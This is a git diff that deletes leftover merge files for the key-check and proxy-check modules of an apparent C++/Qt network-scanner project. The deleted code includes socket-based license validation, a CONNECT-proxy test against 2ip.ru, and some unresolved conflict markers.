ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -#pragma region QTGUI_Area - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -#pragma endregion - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -#pragma region QTGUI_Area - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -#pragma endregion - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.orig b/CheckKey_Th.cpp.orig deleted file mode 100644 index 64dccb8..0000000 --- a/CheckKey_Th.cpp.orig +++ /dev/null @@ -1,300 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -<<<<<<< HEAD - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - -======= -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -<<<<<<< HEAD - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - -======= -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckProxy_Th.cpp.BACKUP.3053.cpp b/CheckProxy_Th.cpp.BACKUP.3053.cpp deleted file mode 100644 index c8c12de..0000000 --- a/CheckProxy_Th.cpp.BACKUP.3053.cpp +++ /dev/null @@ -1,208 +0,0 @@ -#include "CheckProxy_Th.h" -#include "externData.h" - -void CheckProxy_Th::doEmitChangeRedIRCData(QString str) -{ - emit chPTh->changeRedIRCData(str); -}; -void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) -{ - emit chPTh->changeGreenIRCData(str); -}; -void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) -{ - emit chPTh->changeYellowIRCData(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) -{ - emit chPTh->changeRawIRCDataInc(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) -{ - emit chPTh->changeRawIRCDataOut(str); -}; - -void CheckProxyLogic() -{ - QString str1 = ui->ircProxyPort->text(); - QString str2 = ui->ircProxy->text(); - strcpy(ircProxy, str2.toUtf8().data()); - strcpy(ircProxyPort, str1.toUtf8().data()); - - int err, yes = 1; - SOCKET pSock; - char precvBuff[2048] = {0}; - sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(atoi(ircProxyPort)); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); - else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); - else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - - if(pSock == INVALID_SOCKET) - { -<<<<<<< HEAD - - chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - } - else - { - if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) - { -<<<<<<< HEAD - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); - - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { -<<<<<<< HEAD - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") - || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") - ) - && (strlen(precvBuff) < 150) - && strstr(precvBuff, "404 File Not Found") == NULL - && - ( - strstr(precvBuff, "Invalid Request") == NULL - || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL - || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL - ) - ) - { - -<<<<<<< HEAD - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); - ZeroMemory(precvBuff, sizeof(precvBuff)); - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - -<<<<<<< HEAD - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL - && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL - && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL - && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL - && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL - && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL - && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL - && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL - && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL - && strstr(precvBuff, "gateway timeout") == NULL - ) - { - -<<<<<<< HEAD - - chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - proxyEnabledFlag = 1; - - CSSOCKET(pSock); - break; - } - else - { -<<<<<<< HEAD - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - break; - } - else - { -<<<<<<< HEAD - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - } - else - { -<<<<<<< HEAD - - chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - -======= -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - proxyEnabledFlag = 0; - }; - }; -}; - -void CheckProxy_Th::run() -{ - CheckProxyLogic(); -}; diff --git a/CheckProxy_Th.cpp.BASE.3053.cpp b/CheckProxy_Th.cpp.BASE.3053.cpp deleted file mode 100644 index e69de29..0000000 diff --git a/CheckProxy_Th.cpp.LOCAL.3053.cpp b/CheckProxy_Th.cpp.LOCAL.3053.cpp deleted file mode 100644 index c87746d..0000000 --- a/CheckProxy_Th.cpp.LOCAL.3053.cpp +++ /dev/null @@ -1,154 +0,0 @@ -#include "CheckProxy_Th.h" -#include "externData.h" - -void CheckProxy_Th::doEmitChangeRedIRCData(QString str) -{ - emit chPTh->changeRedIRCData(str); -}; -void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) -{ - emit chPTh->changeGreenIRCData(str); -}; -void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) -{ - emit chPTh->changeYellowIRCData(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) -{ - emit chPTh->changeRawIRCDataInc(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) -{ - emit chPTh->changeRawIRCDataOut(str); -}; - -void CheckProxyLogic() -{ - QString str1 = ui->ircProxyPort->text(); - QString str2 = ui->ircProxy->text(); - strcpy(ircProxy, str2.toUtf8().data()); - strcpy(ircProxyPort, str1.toUtf8().data()); - - int err, yes = 1; - SOCKET pSock; - char precvBuff[2048] = {0}; - sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(atoi(ircProxyPort)); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); - else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); - else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - - if(pSock == INVALID_SOCKET) - { - - chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); - - } - else - { - if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) - { - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); - - send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); - - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - - if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") - || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") - ) - && (strlen(precvBuff) < 150) - && strstr(precvBuff, "404 File Not Found") == NULL - && - ( - strstr(precvBuff, "Invalid Request") == NULL - || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL - || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL - ) - ) - { - - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); - - send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); - ZeroMemory(precvBuff, sizeof(precvBuff)); - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - - if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL - && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL - && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL - && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL - && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL - && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL - && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL - && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL - && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL - && strstr(precvBuff, "gateway timeout") == NULL - ) - { - - - chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - - proxyEnabledFlag = 1; - - CSSOCKET(pSock); - break; - } - else - { - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - break; - } - else - { - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - } - else - { - - chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - - proxyEnabledFlag = 0; - }; - }; -}; - -void CheckProxy_Th::run() -{ - CheckProxyLogic(); -}; diff --git a/CheckProxy_Th.cpp.REMOTE.3053.cpp b/CheckProxy_Th.cpp.REMOTE.3053.cpp deleted file mode 100644 index eb7c8b0..0000000 --- a/CheckProxy_Th.cpp.REMOTE.3053.cpp +++ /dev/null @@ -1,154 +0,0 @@ -#include "CheckProxy_Th.h" -#include "externData.h" - -void CheckProxy_Th::doEmitChangeRedIRCData(QString str) -{ - emit chPTh->changeRedIRCData(str); -}; -void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) -{ - emit chPTh->changeGreenIRCData(str); -}; -void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) -{ - emit chPTh->changeYellowIRCData(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) -{ - emit chPTh->changeRawIRCDataInc(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) -{ - emit chPTh->changeRawIRCDataOut(str); -}; - -void CheckProxyLogic() -{ - QString str1 = ui->ircProxyPort->text(); - QString str2 = ui->ircProxy->text(); - strcpy(ircProxy, str2.toUtf8().data()); - strcpy(ircProxyPort, str1.toUtf8().data()); - - int err, yes = 1; - SOCKET pSock; - char precvBuff[2048] = {0}; - sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(atoi(ircProxyPort)); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); - else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); - else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - - if(pSock == INVALID_SOCKET) - { -#pragma region QTGUI_Area - chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID 